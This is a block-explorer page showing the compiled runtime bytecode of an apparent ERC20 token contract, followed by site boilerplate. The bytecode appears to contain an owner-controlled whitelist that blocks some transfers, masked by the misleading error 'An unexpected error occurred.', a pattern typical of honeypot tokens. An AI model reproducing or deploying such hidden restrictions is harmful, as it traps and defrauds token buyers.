0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063395093511161009757806395d89b411161006657806395d89b4114610286578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b806339509351146101ec5780633f7320911461021c57806370a08231146102385780638da5cb5b14610268576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806338926b6d146101b457806338bf3cfa146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f91906118e3565b60405180910390f35b610132600480360381019061012d91906114ea565b6103c6565b60405161013f9190611883565b60405180910390f35b6101506103e4565b60405161015d9190611a85565b60405180910390f35b610180600480360381019061017b9190611457565b6103ee565b60405161018d9190611883565b60405180910390f35b61019e6104ef565b6040516101ab9190611aa0565b60405180910390f35b6101ce60048036038101906101c9919061152a565b6104f8565b005b6101ea60048036038101906101e591906113ea565b61062e565b005b610206600480360381019061020191906114ea565b6106ee565b6040516102139190611883565b60405180910390f35b610236600480360381019061023191906114aa565b61079a565b005b610252600480360381019061024d91906113ea565b610871565b60405161025f9190611a85565b60405180910390f35b6102706108b9565b60405161027d9190611868565b60405180910390f35b61028e6108e3565b60405161029b91906118e3565b60405180910390f35b6102be60048036038101906102b991906114ea565b610975565b6040516102cb9190611883565b60405180910390f35b6102ee60048036038101906102e991906114ea565b610a69565b6040516102fb9190611883565b60405180910390f35b61031e60048036038101906103199190611417565b610a87565b60405161032b9190611a85565b60405180910390f35b60606003805461034390611c63565b80601f016020809104026020016040519081016040528092919081815260200182805461036f90611c63565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b60006103da6103d3610c61565b8484610c69565b6001905092915050565b6000600254905090565b60006103fb848484610e34565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610446610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bd90611985565b60405180910390fd5b6104e3856104d2610c61565b85846104de9190611b8e565b610c69565b60019150509392505050565b60006012905090565b6000610502610c61565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156105885750610587600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168285856110b2565b5b6105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be906119c5565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610629818461110c565b505050565b610636610c61565b73ffffffffffffffffffffffffffffffffffffffff166106546108b9565b73ffffffffffffffffffffffffffffffffffffffff16146106aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a1906119a5565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006107906106fb610c61565b848460016000610709610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461078b9190611b38565b610c69565b6001905092915050565b6107a2610c61565b73ffffffffffffffffffffffffffffffffffffffff166107c06108b9565b73ffffffffffffffffffffffffffffffffffffffff1614610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d906119a5565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108f290611c63565b80601f016020809104026020016040519081016040528092919081815260200182805461091e90611c63565b801561096b5780601f106109405761010080835404028352916020019161096b565b820191906000526020600020905b81548152906001019060200180831161094e57829003601f168201915b5050505050905090565b60008060016000610984610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890611a45565b60405180910390fd5b610a5e610a4c610c61565b858584610a599190611b8e565b610c69565b600191505092915050565b6000610a7d610a76610c61565b8484610e34565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7590611a65565b60405180910390fd5b610b8960008361111a565b8060026000828254610b9b9190611b38565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bf09190611b38565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c559190611a85565b60405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090611a05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090611945565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e279190611a85565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9b906119e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90611905565b60405180910390fd5b610f1e838361111a565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90611965565b60405180910390fd5b8181610fb09190611b8e565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110409190611b38565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110a49190611a85565b60405180910390a350505050565b6000806110c76110c28686611201565b611234565b90508573ffffffffffffffffffffffffffffffffffffffff166110ea8285611264565b73ffffffffffffffffffffffffffffffffffffffff1614915050949350505050565b6111168282610b0e565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111fd57600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f390611925565b60405180910390fd5b5b5050565b60008282604051602001611216929190611816565b60405160208183030381529060405280519060200120905092915050565b6000816040516020016112479190611842565b604051602081830303815290604052805190602001209050919050565b600080600080611273856112d3565b9250925092506001868285856040516000815260200160405260405161129c949392919061189e565b6020604051602081039080840390855afa1580156112be573d6000803e3d6000fd5b50505060206040510351935050505092915050565b6000806000604184511461131c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131390611a25565b60405180910390fd5b6020840151925060408401519150606084015160001a90509193909250565b600061134e61134984611ae0565b611abb565b90508281526020810184848401111561136a57611369611d90565b5b611375848285611c21565b509392505050565b60008135905061138c816120dc565b92915050565b6000813590506113a1816120f3565b92915050565b600082601f8301126113bc576113bb611d8b565b5b81356113cc84826020860161133b565b91505092915050565b6000813590506113e48161210a565b92915050565b600060208284031215611400576113ff611d9a565b5b600061140e8482850161137d565b91505092915050565b6000806040838503121561142e5761142d611d9a565b5b600061143c8582860161137d565b925050602061144d8582860161137d565b9150509250929050565b6000806000606084860312156114705761146f611d9a565b5b600061147e8682870161137d565b935050602061148f8682870161137d565b92505060406114a0868287016113d5565b9150509250925092565b600080604083850312156114c1576114c0611d9a565b5b60006114cf8582860161137d565b92505060206114e085828601611392565b9150509250929050565b6000806040838503121561150157611500611d9a565b5b600061150f8582860161137d565b9250506020611520858286016113d5565b9150509250929050565b6000806040838503121561154157611540611d9a565b5b600061154f858286016113d5565b925050602083013567ffffffffffffffff8111156115705761156f611d95565b5b61157c858286016113a7565b9150509250929050565b61158f81611bc2565b82525050565b6115a66115a182611bc2565b611cc6565b82525050565b6115b581611bd4565b82525050565b6115c481611be0565b82525050565b6115db6115d682611be0565b611cd8565b82525050565b60006115ec82611b11565b6115f68185611b1c565b9350611606818560208601611c30565b61160f81611d9f565b840191505092915050565b6000611627602383611b1c565b915061163282611dbd565b604082019050919050565b600061164a601d83611b1c565b915061165582611e0c565b602082019050919050565b600061166d601c83611b2d565b915061167882611e35565b601c82019050919050565b6000611690602283611b1c565b915061169b82611e5e565b604082019050919050565b60006116b3602683611b1c565b91506116be82611ead565b604082019050919050565b60006116d6602883611b1c565b91506116e182611efc565b604082019050919050565b60006116f9602083611b1c565b915061170482611f4b565b602082019050919050565b600061171c601583611b1c565b915061172782611f74565b602082019050919050565b600061173f602583611b1c565b915061174a82611f9d565b604082019050919050565b6000611762602483611b1c565b915061176d82611fec565b604082019050919050565b6000611785601883611b1c565b91506117908261203b565b602082019050919050565b60006117a8602583611b1c565b91506117b382612064565b604082019050919050565b60006117cb601f83611b1c565b91506117d6826120b3565b602082019050919050565b6117ea81611c0a565b82525050565b6118016117fc82611c0a565b611cf4565b82525050565b61181081611c14565b82525050565b60006118228285611595565b60148201915061183282846117f0565b6020820191508190509392505050565b600061184d82611660565b915061185982846115ca565b60208201915081905092915050565b600060208201905061187d6000830184611586565b92915050565b600060208201905061189860008301846115ac565b92915050565b60006080820190506118b360008301876115bb565b6118c06020830186611807565b6118cd60408301856115bb565b6118da60608301846115bb565b95945050505050565b600060208201905081810360008301526118fd81846115e1565b905092915050565b6000602082019050818103600083015261191e8161161a565b9050919050565b6000602082019050818103600083015261193e8161163d565b9050919050565b6000602082019050818103600083015261195e81611683565b9050919050565b6000602082019050818103600083015261197e816116a6565b9050919050565b6000602082019050818103600083015261199e816116c9565b9050919050565b600060208201905081810360008301526119be816116ec565b9050919050565b600060208201905081810360008301526119de8161170f565b9050919050565b600060208201905081810360008301526119fe81611732565b9050919050565b60006020820190508181036000830152611a1e81611755565b9050919050565b60006020820190508181036000830152611a3e81611778565b9050919050565b60006020820190508181036000830152611a5e8161179b565b9050919050565b60006020820190508181036000830152611a7e816117be565b9050919050565b6000602082019050611a9a60008301846117e1565b92915050565b6000602082019050611ab56000830184611807565b92915050565b6000611ac5611ad6565b9050611ad18282611c95565b919050565b6000604051905090565b600067ffffffffffffffff821115611afb57611afa611d5c565b5b611b0482611d9f565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000611b4382611c0a565b9150611b4e83611c0a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b8357611b82611cfe565b5b828201905092915050565b6000611b9982611c0a565b9150611ba483611c0a565b925082821015611bb757611bb6611cfe565b5b828203905092915050565b6000611bcd82611bea565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015611c4e578082015181840152602081019050611c33565b83811115611c5d576000848401525b50505050565b60006002820490506001821680611c7b57607f821691505b60208210811415611c8f57611c8e611d2d565b5b50919050565b611c9e82611d9f565b810181811067ffffffffffffffff82111715611cbd57611cbc611d5c565b5b80604052505050565b6000611cd182611ce2565b9050919050565b6000819050919050565b6000611ced82611db0565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416e20756e6578706563746564206572726f72206f636375727265642e000000600082015250565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4661696c65642041757468656e7469636174696f6e0000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f696e76616c6964207369676e6174757265206c656e6774680000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6120e581611bc2565b81146120f057600080fd5b50565b6120fc81611bd4565b811461210757600080fd5b50565b61211381611c0a565b811461211e57600080fd5b5056fea264697066735822122080ee66a3f5be86313a74d57376a14de720c8c6e352a0d93fee4b70504fbbd65e64736f6c63430008070033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.